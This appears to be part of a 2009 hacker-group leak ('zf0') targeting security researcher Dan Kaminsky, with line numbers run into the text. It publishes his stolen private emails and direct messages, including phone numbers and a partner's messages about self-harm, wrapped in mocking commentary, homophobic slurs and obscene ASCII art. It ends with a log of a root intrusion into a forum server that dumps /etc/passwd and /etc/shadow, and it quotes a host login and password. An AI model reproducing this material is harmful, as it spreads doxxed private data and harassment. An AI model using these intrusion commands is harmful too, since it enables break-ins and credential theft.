In-Reply-To: <48CC0C92.3030807@doxpara.com> 13041 Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes 13042 Content-Transfer-Encoding: 7bit 13043 Mime-Version: 1.0 (Apple Message framework v926) 13044 Subject: Re: Ping 13045 Date: Sat, 13 Sep 2008 13:59:42 -0500 13046 References: <34C68BDE-0B94-434B-A2A5-E65EC82BFCA0@spitzner.net> 13047 <48C57ADD.5070101@doxpara.com> 13048 <63192BFF-681E-468E-AA42-1F31133CB211@spitzner.net> 13049 <48CC0C92.3030807@doxpara.com> 13050 X-Mailer: Apple Mail (2.926) 13051 Status: RO 13052 X-Status: 13053 X-Keywords: $Label4 13054 X-UID: 121071 13055 13056 13057 On Sep 13, 2008, at 13:55, Dan Kaminsky wrote: 13058 13059 > Ah, I'd love to make it out. I hate to ask, but do these guys have 13060 > much 13061 > budget? I'd have to take a week off of a consulting gig to do this 13062 > talk, and that'd be pretty rough :( 13063 13064 Hey Dan! Normally they don't pay speakers. However, for keynotes 13065 (and you) I am sure they would make an exception. Howard Schmidt is 13066 presenting, I'm sure he is not free :) 13067 They do not pay me but that is because I am very good friends with 13068 them, I have known them for years and we help each other out in other 13069 ways. What other information can I provide for you? What other 13070 questions do you have? Where would you like to go from here? If you 13071 like I can do intros with the head guy Ahmad Kamali and you guys can 13072 take it from there. Ahmad is the friendliest Emirati (and friendliest 13073 Arab) I have met in my five years of travelling to the middle-east. 13074 13075 Let me know what you would like to do next, thanks! 13076 13077 lance 13078 13079 13080 From ping@blackhat.com Mon Sep 8 13:30:17 2008 13081 Return-Path: <ping@blackhat.com> 13082 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on pmjm.com 13083 X-Spam-Level: 13084 X-Spam-Status: No, score=-0.8 required=2.0 tests=AWL,BAYES_00, 13085 DNS_FROM_OPENWHOIS autolearn=no version=3.2.5 13086 Received: from colossus.blackhat.com (colossus.blackhat.com 13087 [216.231.63.50]) 13088 by pmjm.com (8.14.2/8.14.2) with ESMTP id m88KUGiQ002397 13089 for <dan@doxpara.com>; Mon, 8 Sep 2008 13:30:16 -0700 (PDT) 13090 (envelope-from ping@blackhat.com) 13091 Cc: Jeff Moss <jmoss@blackhat.com> 13092 Message-Id: <200809082030.m88KUhTR069073@colossus.blackhat.com> 13093 From: Ping Look <ping@blackhat.com> 13094 To: Dan Kaminsky <dan@doxpara.com> 13095 In-Reply-To: <48C580B5.2020906@doxpara.com> 13096 Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes 13097 Content-Transfer-Encoding: 7bit 13098 Mime-Version: 1.0 (Apple Message framework v919.2) 13099 Subject: Re: Japan 13100 Date: Mon, 8 Sep 2008 13:32:01 -0700 13101 References: <48C580B5.2020906@doxpara.com> 13102 X-Mailer: Apple Mail (2.919.2) 13103 Content-Length: 2553 13104 Status: RO 13105 X-Status: A 13106 X-Keywords: 13107 X-UID: 120768 13108 13109 Dan 13110 13111 I know you just spoke with Jeff and this is what we can do at the 13112 moment: 13113 I will get you paid $3K from US 08 13114 $2K from JP 08 13115 13116 So you'll get at least two separate payments in 2008. 13117 13118 And if you speak at DC and EU and USA 09, we'll increase appropriately 13119 to make up the shortfall (up to $6K). 13120 13121 Are you still on Boylston in #204? 13122 13123 I'll send you another note for Travel... 13124 13125 Thx so much... your karma thanks you. 13126 13127 On Sep 8, 2008, at 12:44 PM, Dan Kaminsky wrote: 13128 13129 > OK, here's the deal. 13130 > 13131 > You notice how I always do BH USA, but don't do too many other cons 13132 > every year that are during weekdays? 13133 > 13134 > That's because there's no subsidization. I do a weekday con, it 13135 > means I 13136 > have to forgo consulting revenue for that day. That's the deal I 13137 > have, 13138 > and it's why I *can* choose to go to any con I select. It's out of 13139 > my hide. 13140 > 13141 > Black Hat this year was about a month of no work. I'd do it again 13142 > in a 13143 > heartbeat :) But that's what it was. 13144 > 13145 > So. You want me at Black Hat Japan -- I'll do it, whether or not you 13146 > have budget to handle my standard honorarium, which for international 13147 > travel with three work days lost is $12,000. I'll do it even if you 13148 > don't have budget to handle my out-of-pocket lost revenue, which is 13149 > $8K. That's not an offer I'd extend to anyone else, but you've been 13150 > good to me for a decade, and you clearly want me in Japan. So I'll 13151 > attend, on whatever terms you can afford. 13152 > 13153 > --Dan 13154 > 13155 13156 // What a fucking whitehat whore. It's not over: 13157 13158 From Brian@sector.ca Mon Sep 8 16:35:17 2008 13159 Return-Path: <Brian@sector.ca> 13160 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on pmjm.com 13161 X-Spam-Level: 13162 X-Spam-Status: No, score=-3.6 required=2.0 13163 tests=BAYES_00,RCVD_IN_DNSWL_LOW 13164 autolearn=ham version=3.2.5 13165 Received: from mail.sector.ca (mail.cms.ca [66.241.135.194]) 13166 by pmjm.com (8.14.2/8.14.2) with ESMTP id m88NZH9Z010196 13167 for <dan@doxpara.com>; Mon, 8 Sep 2008 16:35:17 -0700 (PDT) 13168 (envelope-from Brian@sector.ca) 13169 Received: from BBLaptop ([76.66.137.239]) by mail.sector.ca over TLS 13170 secured cha 13171 nnel with Microsoft SMTPSVC(6.0.3790.3959); 13172 Mon, 8 Sep 2008 19:35:44 -0400 13173 Reply-To: <brian@sector.ca> 13174 From: "Brian Bourne" <brian@sector.ca> 13175 To: "'Dan Kaminsky'" <dan@doxpara.com> 13176 References: <48BF0B77.9080608@doxpara.com> 13177 <022301c910ee$f6472b90$e2d582b0$@ca> 13178 <48C58DB1.1040204@doxpara.com> 13179 In-Reply-To: <48C58DB1.1040204@doxpara.com> 13180 Subject: RE: stand by 13181 Date: Mon, 8 Sep 2008 19:35:42 -0400 13182 Organization: Black Arts Illuminated Inc. 13183 Message-ID: <011101c9120b$9bf78540$d3e68fc0$@ca> 13184 MIME-Version: 1.0 13185 Content-Type: text/plain; 13186 charset="us-ascii" 13187 Content-Transfer-Encoding: 7bit 13188 X-Mailer: Microsoft Office Outlook 12.0 13189 Thread-Index: AckR8x22X3Xx2dTQReuuubGuTm0oOAAGGdWA 13190 : 13191 13192 Content-Language: en-us 13193 X-OriginalArrivalTime: 08 Sep 2008 23:35:44.0271 (UTC) 13194 FILETIME=[9CE121F0:01C9120B] 13195 Content-Length: 1080 13196 Status: RO 13197 X-Status: 13198 X-Keywords: 13199 X-UID: 120783 13200 13201 We just don't have $10k, but I'd still like to have you... we can fly 13202 you in 13203 and out same day if you like... can you do $5k? 13204 13205 /bb 13206 13207 -----Original Message----- 13208 From: Dan Kaminsky [mailto:dan@doxpara.com] 13209 Sent: Monday, September 08, 2008 4:40 PM 13210 To: brian@sector.ca 13211 Subject: Re: stand by 13212 13213 Brian-- 13214 13215 Alright. I can make it out, but it'll cost $10K -- this isn't me 13216 being a pain in the ass, it's that I literally have to walk away from a 13217 consulting engagement for a few days and, unlike some people, that comes 13218 out of my own pocket. (Black Hat USA cost me about a month of 13219 consulting revenue.) 13220 13221 Let me know? 13222 13223 --Dan 13224 13225 13226 Brian Bourne wrote: 13227 > Dan, 13228 > 13229 > Can you call me when you have a second. 416-460-7317. Here's the 13230 short 13231 > version - you're a very entertaining speaker - if you want to come, 13232 rather 13233 > than make other speakers compete with you, we'll give you a lunch 13234 keynote. 13235 > Let me know ASAP. 13236 > 13237 > /bb 13238 > 13239 > -----Original Message----- 13240 > From: Dan Kaminsky [mailto:dan@doxpara.com] 13241 > Sent: Wednesday, September 03, 2008 6:11 PM 13242 > To: Brian Bourne 13243 > Subject: stand by 13244 > 13245 > 13246 > 13247 13248 // Best buddies forever 13249 arachne: Aww, you sound exhausted, hon...when was the last time you slept? 13250 13251 13252 !~~~~ 13253 Here is another range you should not scan 13254 13255 205.144.96.0/20 13256 13257 This client has not asked for your "services"=20 13258 13259 Please cease your "tests" 13260 13261 13262 R Grant Leonard=20 13263 Technical Security Specialist 13264 AT&T | Managed Security Services 13265 Threat Management | MIDS | DDoS | Internet Protect | Analysis 13266 rgleonard@att.com <mailto:rgleonard@ems.att.com> | O 919-474-1147 | C = 13267 919-949-4002 13268 ~~~~~ 13269 13270 13271 Dan, 13272 13273 This is another of our clients and you do not have the permission of the = 13274 client to perform this kind of scanning. 13275 13276 You have triggered over 22,000 events for us in this range alone as well = 13277 as caused a few other minor aggravations. 13278 13279 While you may believe you are a researcher and doing good, performing = 13280 your unauthorized testing on live production platforms is a reportable = 13281 offense. 13282 13283 I am going to kindly suggest you seek permission from various targets = 13284 before you continue your "research". 13285 13286 Please note I am under contractual obligations to report your = 13287 activities, we have recorded your "scans" on over 26 devices globally = 13288 and none of our clients have given you permission to perform these = 13289 "tests" 13290 13291 13292 Thanks 13293 13294 R Grant Leonard=20 13295 Technical Security Specialist 13296 AT&T | Managed Security Services 13297 Threat Management | MIDS | DDoS | Internet Protect | Analysis 13298 rgleonard@att.com <mailto:rgleonard@ems.att.com> | O 919-474-1147 | C = 13299 919-949-4002 13300 13301 ~~~~~~ 13302 /* Three big cheers for R Grant Leonard! Stick it to the bitch. Let it be 13303 * known that this guy is a cool dude and deserves some favours! 13304 * 13305 * Dan actually pissed off a lot of people with his scanning. What a fucking 13306 * kiddie. Even someone from the Canadian government told him to take a hike. 13307 * How bad do you have to be to piss off the Canadians? Christ. 13308 * 13309 * After Dan made a big stink about DNS in 2008 he and everyone else wanted 13310 * to ride the wave of coverage, so they did a lot of scanning. I think there 13311 * were four of them including Dan and Dragos Ruiu scanning heavily from 13312 * some network Vixie let them on. Vixie got a lot of complaints and begged 13313 * them to stop but they kind of ignored him at first. After a while Vixie 13314 * realized that not only were all four scanning hard, but they were often 13315 * duplicating the same ranges. Then they were pretty much unwilling to 13316 * work together and share data, even on Vixie's insistence. Basically they 13317 * used and abused Vixie like a cheap Thai hooker. 13318 */ 13319 13320 July 14 2008 13321 Now if Matasano weren't so busy and would get around to finishing the 13322 report, we could be that much closer to letting them publish. But it's 13323 never quite as much of a hurry when it's waiting on yourself, is it? 13324 We're well past 30 days now. ;) 13325 13326 Ryan 13327 ~~~~~~~~~~ 13328 13329 No problem, Dan. I will cease and desist immediately. 13330 ^ Paul Scheml on Dan asking him to censor FD 13331 13332 ~~~~~~~~~~~ 13333 13334 13335 i told woot both of my slides but i said that the protections on slide two 13336 were known to be inadequate and said that you had been able to break in. i 13337 suspect that this will be true when you get around to it, but i had to drive 13338 home the "this isn't an alternative to udp port randomization, which you all 13339 still have to do." so if anyone asks, say yes, you're able to write my cache. 13340 13341 Vixie, Jul 28 13342 13343 13344 !~~~~~~~~~~~~~~~ Gmail ~~~~~~~~~~~~~~~~! 13345 13346 // Here are some token mails from Dan's gmail inbox 13347 13348 From: "Dan Kaminsky" <effugas@gmail.com> 13349 To: paul@vix.com 13350 Subject: Compression Attacks 13351 MIME-Version: 1.0 13352 Content-Type: multipart/alternative; 13353 boundary="----=_Part_23349_11600932.1140569240572" 13354 Delivered-To: effugas@gmail.com 13355 13356 ------=_Part_23349_11600932.1140569240572 13357 Content-Type: text/plain; charset=ISO-8859-1 13358 Content-Transfer-Encoding: quoted-printable 13359 Content-Disposition: inline 13360 13361 Heh Paul-- 13362 13363 You can talk to me here. Cuttlefish -- awesome! My # is 408-933-8195. 13364 Call me anytime. 13365 13366 Question: Do you have a collection of DNS compression attacks? There's 13367 some critical stuff I'm testing that requires an extensive collection. 13368 13369 --Dan 13370 13371 13372 Content-Transfer-Encoding: 7bit 13373 Content-Disposition: inline 13374 13375 Hello, 13376 13377 My sincerest apologies. I received a very strange reaction when I arrived 13378 at the Crazy Horse with nothing but the confirmation number; they refused to 13379 accept my number but still knew precisely what I had ordered. They forced 13380 me to pay for the ticket onsite, somewhat embarassing me in front of my 13381 client. I will be returning to the states in a week; either you or the 13382 Crazy Horse should refund your transactions before I return home. If 13383 neither of you do, I will be forced to enact a chargeback to ComeToParis.Com, 13384 as yours is the ticket that was disrespected. Clearly this does not benefit 13385 any of us, so I hope within the next week a credit appears on my account. 13386 Thank you, and I apologize for the hassle. 13387 13388 Yours Truly, 13389 13390 Dan Kaminsky 13391 DoxPara Research 13392 http:///www.doxpara.com 13393 13394 13395 On 1/6/07, Kevin Dunn <kev@ngssoftware.com> wrote: 13396 > 13397 > Yup this is me - I'll call in a bit! 13398 > 13399 > 13400 > ----- Original Message ----- 13401 > From: Dan Kaminsky <effugas@gmail.com> 13402 > To: Kevin Dunn; Kevin Dunn 13403 > Sent: Sat Jan 06 20:22:26 2007 13404 > Subject: *ping* 13405 > 13406 > This your email? Dring room 737 at the Riverbank Park Plaza, or dring 13407 > +1-206-251-5605. 13408 > 13409 > --Dan 13410 13411 13412 To: alishamd@hotmail.com 13413 Subject: Pssst. 13414 MIME-Version: 1.0 13415 Content-Type: multipart/alternative; 13416 boundary="----=_Part_33469_16586948.1168219906382" 13417 Delivered-To: effugas@gmail.com 13418 13419 ------=_Part_33469_16586948.1168219906382 13420 Content-Type: text/plain; charset=ISO-8859-1; format=flowed 13421 Content-Transfer-Encoding: 7bit 13422 Content-Disposition: inline 13423 13424 Well. If it ain't the cute girl from Cafe Gaudy. 13425 13426 Cheers from London. Its been an insane month -- but I'm finally coming back 13427 to see old friends and, you know, sleep in my own bed thank you very much. 13428 Reply, so I know you're actually listening on this address, and I'll finally 13429 get to see you outside of that restaurant we keep bumping into eachother at. 13430 13431 --Dan 13432 13433 13434 On 1/11/07, Conti, G. LTC EECS <Gregory.Conti@usma.edu> wrote: 13435 > 13436 > Dan, 13437 > 13438 > I just wanted to take a moment and thank you for 13439 > your visit. Both the faculty and cadets greatly 13440 > enjoyed your talks. You've done a great deal 13441 > to inspire the next generation of Army leaders. 13442 > 13443 > All the best, 13444 > Greg 13445 > 13446 > p.s. The information theory researcher I mentioned 13447 > is Sergey Bratus at Dartmouth. sergey@cs.dartmouth.edu 13448 > He usually attends Defcon and I will make a point of 13449 > introducing you. 13450 > 13451 13452 13453 !~~~~~~~~~~~~~~~ Twitter ~~~~~~~~~~~~~~! 13454 13455 13456 /***** Kaminsky among us *****/ 13457 13458 13459 // those chat lines really hit you in the ass Dan 13460 Mon May 18 17:14:36 +0000 2009 <ccg->dk> HOLY.. Last phone bill was $1200, Dan. 13461 I can't keep paying these. Please be somewhat responsible when this is 13462 debiting my acct. 13463 13464 Sun Apr 26 23:42:49 +0000 2009 <dk->Beaker> you know, I wonder in what decade 13465 Sotirov will finally suck it up and read my slides 13466 13467 // Dan and Dino would make a nice couple 13468 Mon Mar 23 19:46:54 +0000 2009 <rmogull> I like Dino a lot- he's just young. I 13469 think if he got a serious job, with other good researchers, he'd come a 13470 Mon Mar 23 19:44:30 +0000 2009 <dan> deciding whether to try to extricate dino 13471 from the idiot squad. The rest are worthless to corporate but I think he's 13472 recoverable 13473 Mon Mar 23 19:47:22 +0000 2009 <rmogull> It's funny- my first thought was, 13474 "he'll never do something like that after he hits 30" 13475 Mon Mar 23 22:49:09 +0000 2009 <dan> this is fucked up shit. They're trying to 13476 recruit a fall kid. Holy fuck. 13477 Mon Mar 23 22:57:44 +0000 2009 <rmogull> Who do you think is behind it? 13478 Tue Mar 24 00:27:10 +0000 2009 <dan> alex just wants to see stuff burn. Charlie 13479 though, he semipublicly bitches about not getting this 100k payday... 13480 Tue Mar 24 00:28:07 +0000 2009 <dan> from criminals, wanting instead ms to pay. 13481 I am seriously considering calling Charlie out 13482 Tue Mar 24 00:29:55 +0000 2009 <dan> 'Don't incite kids just so you can feed 13483 your own. Either extort apple yourself or go away.' I know, bad idea 13484 Tue Mar 24 22:12:44 +0000 2009 <dan> Never mind the rage, that was the effect 13485 of a mild concussion. But, shit, it's true. Charlie's trying to fuck some 13486 kid. 13487 Tue Mar 24 22:32:45 +0000 2009 <rmogull> Concussion? WTF? I have a call with 13488 Dino soon, will investigate. I don't know Charlie well, just in passing. 13489 Tue Mar 24 22:33:09 +0000 2009 <rmogull> Wrote the forward to their book, but 13490 because of Dino. 13491 Tue Mar 24 23:08:00 +0000 2009 <dan> snowboarding. Mild. Dino clearly doesn't 13492 know about the growing extortion epidemic, or consequences 13493 Tue Mar 24 23:09:07 +0000 2009 <dan> dino is an old friend of mine; hanging 13494 with really career limiting crew. 13495 Tue Mar 24 23:17:36 +0000 2009 <rmogull> I'm convinced he'll turn out okay... 13496 with the right support 13497 Tue Mar 24 23:26:15 +0000 2009 <dan> I dunno. The cool kids just got him to 13498 write the canonical screed inciting extortion. Is there time? 13499 Tue Mar 24 23:36:23 +0000 2009 <rmogull> Just call me an optimist 13500 Tue Mar 24 23:37:45 +0000 2009 <rmogull> Oh- and don't fuck up your head. You 13501 don't have the looks for a modeling career. 13502 13503 // woo big head alert :) 13504 Thu Mar 19 16:31:58 +0000 2009 <dk->ccg> o hai jeff moss, thanks for fucking 13505 me. http://snurl.com/e5d1o 13506 13507 // he learnt from the best 13508 Thu Mar 05 20:06:20 +0000 2009 <dk->ccg> sotirov is such a dick. Good thing 13509 he's so bad at it 13510 13511 // my favourite back2back twitters 13512 // epic diss and beyond epic FAIL 13513 Thu Feb 19 22:40:54 +0000 2009 <dk->dragosr> sotirov has a real 13514 not-reading-the-goddamn-literature problem sometimes 13515 Thu Feb 19 21:44:05 +0000 2009 <dk->ccg> attacker.doxpara.com root/ohhai it's 13516 his 13517 13518 // EMO TIME EMO TIME EMO TIME EMO TIME EMO TIME EMO TIME EMO TIME EMO TIME 13519 // dan needs to learn to look after his woman 13520 // that attempt at sucking up failed :/ Note to Dan, try flowers next time. 13521 Wed Jan 28 21:16:55 +0000 2009 <ccg> girl just kind of generally hurts. It's 13522 not you. Just kind of a mess. Got DrupalCon ticket taken care of. Just 13523 muddling through. 13524 Thu Jan 29 20:01:50 +0000 2009 <ccg> fuck you. You continue to have no regard 13525 for others. Unless they're others that are not me. Then they matter. 13526 Thu Jan 29 20:09:46 +0000 2009 <dan> this is an overreaction. Is this how we 13527 have to interact? 13528 Thu Jan 29 20:10:46 +0000 2009 <ccg> I am WORRIED about you, you asshole and 13529 you refuse to do anything about it. Again. Go and let yourself rot and 13530 expect me to help. 13531 Thu Jan 29 20:11:30 +0000 2009 <ccg> When I hit myself, it just makes some 13532 small bruises. You are ACTUALLY DOING DAMAGE to yourself. And I'm not 13533 supposed to care?? 13534 Thu Jan 29 20:13:28 +0000 2009 <dan> did you really just make that comparison? 13535 Thu Jan 29 20:14:06 +0000 2009 <ccg> Fuck you for not caring how much you hurt 13536 me or how much effort I put into helping you get well. Take and take and 13537 take and take.. 13538 Thu Jan 29 20:18:19 +0000 2009 <dan> stop this. We'll talk when I get home. 13539 Thu Jan 29 20:19:39 +0000 2009 <ccg> Take care of yourself and stop counting on 13540 me being willing to drop everything when you collapse b/c you just did what 13541 you wanted 13542 Thu Jan 29 20:26:46 +0000 2009 <dan> I love you. 13543 Thu Jan 29 20:31:46 +0000 2009 <ccg> Show it. Take care of yourself. Take care 13544 of me. Don't tell me I'm overreacting to watching you slowly kill yourself. 13545 Thu Jan 29 20:43:18 +0000 2009 <ccg> I'm done. I'm drained. I've given 13546 everything I have. It's not coming back to me. I get no support. I'm just 13547 empty and alone. 13548 Thu Jan 29 21:12:29 +0000 2009 <ccg> You just don't care how much I hurt enough 13549 to actually do anything different. Just leaves me empty and very very al one 13550 here. 13551 Thu Jan 29 22:38:02 +0000 2009 <ccg> I pretty desperately need help right now, 13552 and I have no idea where to start. 13553 13554 // why does Dan associate with the lamest 13555 Fri Jan 16 06:19:32 +0000 2009 <dk->jeremiahg> Yeah. I don't care about the 13556 noise from most people but I actually respect you. 13557 13558 // advice from the general of security media whoring. 13559 // dk -> sotirov 13560 Wed Dec 31 15:41:00 +0000 2008 <dan> well you have seen my md5 someday paper I 13561 assume 13562 Wed Dec 31 19:17:32 +0000 2008 <alexsotirov> Of course, we cited your paper and 13563 it provided the inspiration for our title. So what do you have to say about 13564 our PR strategy now? 13565 Wed Dec 31 20:02:54 +0000 2008 <dan> Actually, your PR was pretty bad. 13566 Tshirts? I give you permission? Using the I broke the Internet domain was 13567 also bad form. 13568 Wed Dec 31 20:04:30 +0000 2008 <dan> Good PR works not just when things are 13569 going right, but when they're going wrong. Talk delivery was almost perfect 13570 though. 13571 Wed Dec 31 20:48:36 +0000 2008 <dan> There's some ugliness. It's good to know 13572 you almost certainly had nothing to do with it. 13573 Sat Jan 03 06:17:16 +0000 2009 <ccg> Is OK. Go put out the fires :) 13574 Sat Jan 03 07:13:25 +0000 2009 <dan> *sighs* you didn't know. alright, we'll 13575 talk voice in the next day or two. jeebuz fucking drama christ 13576 Sun Jan 04 19:07:27 +0000 2009 <dan> j0. sync up? 13577 Sun Jan 04 19:15:29 +0000 2009 <dan> sounds good. embarassed as all hell that 13578 there's more drama. 13579 Sun Jan 04 21:38:57 +0000 2009 <dan> We won't always agree -- different 13580 personalities and all that -- but I do respect immensely that we can disagree 13581 productively 13582 Tue Jan 06 22:31:04 +0000 2009 <dan> advice: switch from attacking verisign for 13583 your disclosure to congratulating them for fixing quickly. The fight weakens 13584 you 13585 Tue Jan 06 22:32:37 +0000 2009 <dan> ...while the congratulations has an edge 13586 of 'you didn't notice the 2007 work'. Not trying to be an ass, you're 13587 wrestling a pig 13588 Tue Jan 06 22:37:47 +0000 2009 <dan> switch too late and it'll parse as 13589 capitulation. Try to get it in early enough to represent magnamity 13590 Wed Jan 07 21:44:32 +0000 2009 <alexsotirov> Tim Callan concedes defeat: 13591 http://tinyurl.com/8j3jcj Now I can start being magnanimous. 13592 Wed Jan 07 23:39:52 +0000 2009 <dan> Cool. Be genuine and congratulatory. 13593 Look forward to a positive working relationship. Respond to as little as 13594 possible. Rebutt *nothing* 13595 13596 // the other side to Dan, note the dates 13597 Tue Dec 30 00:31:27 +0000 2008 <dk->rmogull> enjoying a pwnie award judge 13598 showing the world *actual* media whoring. Very important: minimize bitching, 13599 controversy 13600 13601 // Can't believe these two are still friends 13602 // shame dan didn't take heed of ptaceks warning 13603 Wed Dec 31 00:58:20 +0000 2008 <dan> protecting you. Don't comment to press on 13604 the md5 game. 13605 Wed Dec 31 01:00:17 +0000 2008 <tqbf> confused; what do i have to do with md5? 13606 Wed Dec 31 01:00:45 +0000 2008 <tqbf> also, twitter dmsgs are insecure. 13607 Wed Dec 31 01:01:54 +0000 2008 <dan> I'll tell you next year. You don't have to 13608 believe me... 13609 Wed Dec 31 01:02:48 +0000 2008 <tqbf> oooookay, well thanks for the heads up; i 13610 think it's the sotirov & appelbaum show though. 13611 Wed Dec 31 01:05:19 +0000 2008 <dan> nothing is as it seems. Run away. Tell 13612 nobody I said this to you. 13613 13614 13615 // MDOWD, just because MDOWD!!! (zf0 wishes we could talk to Mark :( ) 13616 // dk -> mark 13617 Fri Dec 12 01:45:26 +0000 2008 <mdowd> I dunno. Possibly continuing fallout :( 13618 Fri Dec 12 04:18:05 +0000 2008 <mdowd> They blogged for like a week and then 13619 killed the thing entirely. They had to kill the archives, with the event, I 13620 think :( 13621 Fri Dec 12 04:26:42 +0000 2008 <mdowd> If that theory is true, we should try 13622 to keep people quiet about the blog being gone... Press loves a controversy 13623 13624 13625 // sign him up to your faggotry 13626 Sun Apr 19 15:56:55 +0000 2009 <adamcecc->dk> yeah nemo is an osx ninja 13627 13628 // whitehats interbreading shocker! 13629 Mon Mar 30 17:36:12 +0000 2009 <rmogull> Hey- any chance your family is 13630 originally from Poland 2 generations ago and you have family in Connecticut? 13631 Mon Mar 30 17:38:18 +0000 2009 <rmogull> Ok... my mom just told me her mom's 13632 maiden name was Kaminsky. Figured that would be just too friggen weird 13633 13634 ## Hypocrisy 13635 Mon Dec 29 21:37:55 +0000 2008 <adamjodonnell> what you did was different, 13636 there needed to be secrecy to coordinate a remediation effort. i think some 13637 people are doing it just to 13638 Mon Dec 29 21:38:11 +0000 2008 <adamjodonnell> generate publicity for 13639 themselves. we are researchers, not stage actors. 13640 13641 13642 !~~~~~~~~~~~~~~~~ End ~~~~~~~~~~~~~~~~~! 13643 13644 So that's the story. Dan Kaminsky got owned. Everything. Blackhats have been 13645 passing around his personal emails for months. He's only famous because his ego 13646 is so bloated that he attacks the world with his pointless ramblings. Cut this 13647 dog loose. 13648 13649 13650 ############################################################# 13651 # THE ADVENTURES OF # 13652 # __ # 13653 # .--------.|__|.----.----.-----. # 13654 # | || || __| _| _ | # 13655 # |__|__|__||__||____|__| |_____| # 13656 # __ # 13657 # .-----.-----.-----.|__|.-----. # 13658 # | _ | -__| || ||__ --| # 13659 # | __|_____|__|__||__||_____| # 13660 # |__| # 13661 # # 13662 ############################################################# 13663 # OMG ITS MY PENIS!! # ___ OMG PLEASE # 13664 # \ ___ # ." ". COMEBACK!!!# 13665 # (o o) ! # __ /(o) (o)\ / # 13666 # ! ( O ) # /_)|| / | # 13667 # .-. .-. # |_)|| '- | # 13668 # /( | )\ # \_)|| ___ / |\/|_ # 13669 # \(__|__)/ # | / \ |___| / _| '/ # 13670 # Dan... ' | |` # |--\ '.___.' \ ) / # 13671 # is that you? | | | # \ \_/\__/\__ |==| # 13672 # \ | | | # \ \ /\ /\ `\ | | # 13673 #_________8=D________'- -`____# No I'm never\// \| | # 13674 #/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# coming back_________ | | # 13675 # # \/ ' \ / # 13676 ############################################################# 13677 # Please, at least tell # I'll always love you # 13678 # me why you left?! ___ # Micro Penis (cry) ___ # 13679 # \(; ;) # \ (; ;) # 13680 # ( o ) # \( o ) # 13681 # .-. .-. # .-. .-. # 13682 # /( | )\ # /( | )\ # 13683 # I actually \(__|__)/ # \(__|__)/ # 13684 #get laid without ' | |` # You're such a ' | |` # 13685 # your gay ass. | | | # faggot. | | | # 13686 # \ | | | # \ | | | # 13687 #_______8=D__________'- -`____#_______8=D__________'- -`____# 13688 #/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# 13689 # # # 13690 ############################################################# 13691 # # 13692 # Once Again Dan Kaminsky Is # 13693 # __ # 13694 # .-----.--.--.--.-----.-----.--| | # 13695 # | _ | | | | | -__| _ | # 13696 # | __|________|__|__|_____|_____| # 13697 # |__| # 13698 # (c) zf0 2009 # 13699 ############################################################# 13700 13701 13702 13703 | 13704 \ / _\/_ 13705 Hacking in gitmo .-'-. //o\ _\/_ 13706 -- / \ -- | /o\\ 13707 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 13708 A song by ZF0 | 13709 13710 ~ the sun aint shining no more 13711 i aint seen daylight since 2004 13712 they put me away for five to ten 13713 boxed up in this dismal eight by eight pen 13714 13715 it's a quick trip to the bottom when you travel one way 13716 lost all access, warez, hookups--gotta memorize 0day 13717 heavy is the head that wore the crown 13718 listen to the skinny on how it went down 13719 13720 what's a shell, you must be a hacker 13721 fuck off before I smash your stack sir 13722 people of the jury he's on the attack 13723 profile of a son gone off the Wrong Track 13724 13725 only takes circumstantial evidence 13726 plus one snitch and it all makes sense 13727 antisocial history just will not impress 13728 pointless details on which they obsess 13729 13730 given no box perms and the all-access ban 13731 gotta route TCP through the night watchman 13732 small window size--packets bounce off my cell wall 13733 all because he won't ACK me at all 13734 13735 used to blast through defenses with Just force 13736 root and rape and rm--no remorse 13737 played the fool and built up notoriety ~ 13738 13739 13740 13741 | 13742 \ / _\/_ 13743 darkmindz .-'-. //o\ _\/_ 13744 -- / \ -- | /o\\ 13745 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 13746 We eat the night, we drink the time | 13747 Make our dreams come true 13748 And hungry eyes are passing by 13749 On streets we call the zoo 13750 13751 Darkmindz.com was just another "haxor" AKA idiot breeding ground forum run by 13752 the infamous saudi named RoMeO. Fortunetly due to the recent events RoMeO 13753 decided to kill his site and handle because he was sloppy & cocky enough to link 13754 his anti-sec activities with his public internet "life". This has spared us the 13755 trouble of needing to rm -rf /* his shit, so thx RoMeO, hope we can be friends. 13756 We didn't want a good hax.log to go to waste so we decided to publish darkmindz 13757 anyways. 13758 13759 RoMeO is a blackhat wannabe and gave us good lulz with astalavista, props to 13760 that, but who the fuck is/was ssanz anyway and what's the point of spreading 13761 anti-sec propaganda via imageshack? You can't enjoy the benefits of a blackhat 13762 and run some retarded haxor forum at the same time pal, good to see that you 13763 realized that. But in any case if you decide to put your shitty forum online 13764 again, you will be rm'ed. 13765 13766 Here's what we found in darkmindz land. 13767 13768 root@www.darkmindz.com's password: 13769 Last login: Sat May 23 03:39:06 2009 from cpe-76-175-20-182.socal.res.rr.com 13770 ALERT! You are entering a secured area! Your IP and login information 13771 have been recorded. System administration has been notified. 13772 This system is restricted to authorized access only. All activities on 13773 this system are recorded and logged. Unauthorized access will be fully 13774 investigated and reported to the appropriate law enforcement agencies. 13775 13776 root@server2:~[root@server2 ~]# uname -a; id 13777 Linux server2.hr-development.net 2.6.27.10-grsec #1 SMP Fri May 15 21:34:11 PDT 13778 2009 x86_64 x86_64 x86_64 GNU/Linux 13779 uid=0(root) gid=0(root) 13780 groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel) 13781 root@server2:~[root@server2 ~]# #who up in this mother fucker 13782 root@server2:~[root@server2 ~]# cat /etc/passwd /etc/shadow 13783 root:x:0:0:root:/root:/bin/bash 13784 bin:x:1:1:bin:/bin:/sbin/nologin 13785 daemon:x:2:2:daemon:/sbin:/sbin/nologin 13786 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 13787 halt:x:7:0:halt:/sbin:/sbin/halt 13788 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 13789 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 13790 nobody:x:99:99:Nobody:/:/sbin/nologin 13791 dbus:x:81:81:System message bus:/:/sbin/nologin 13792 nscd:x:28:28:NSCD 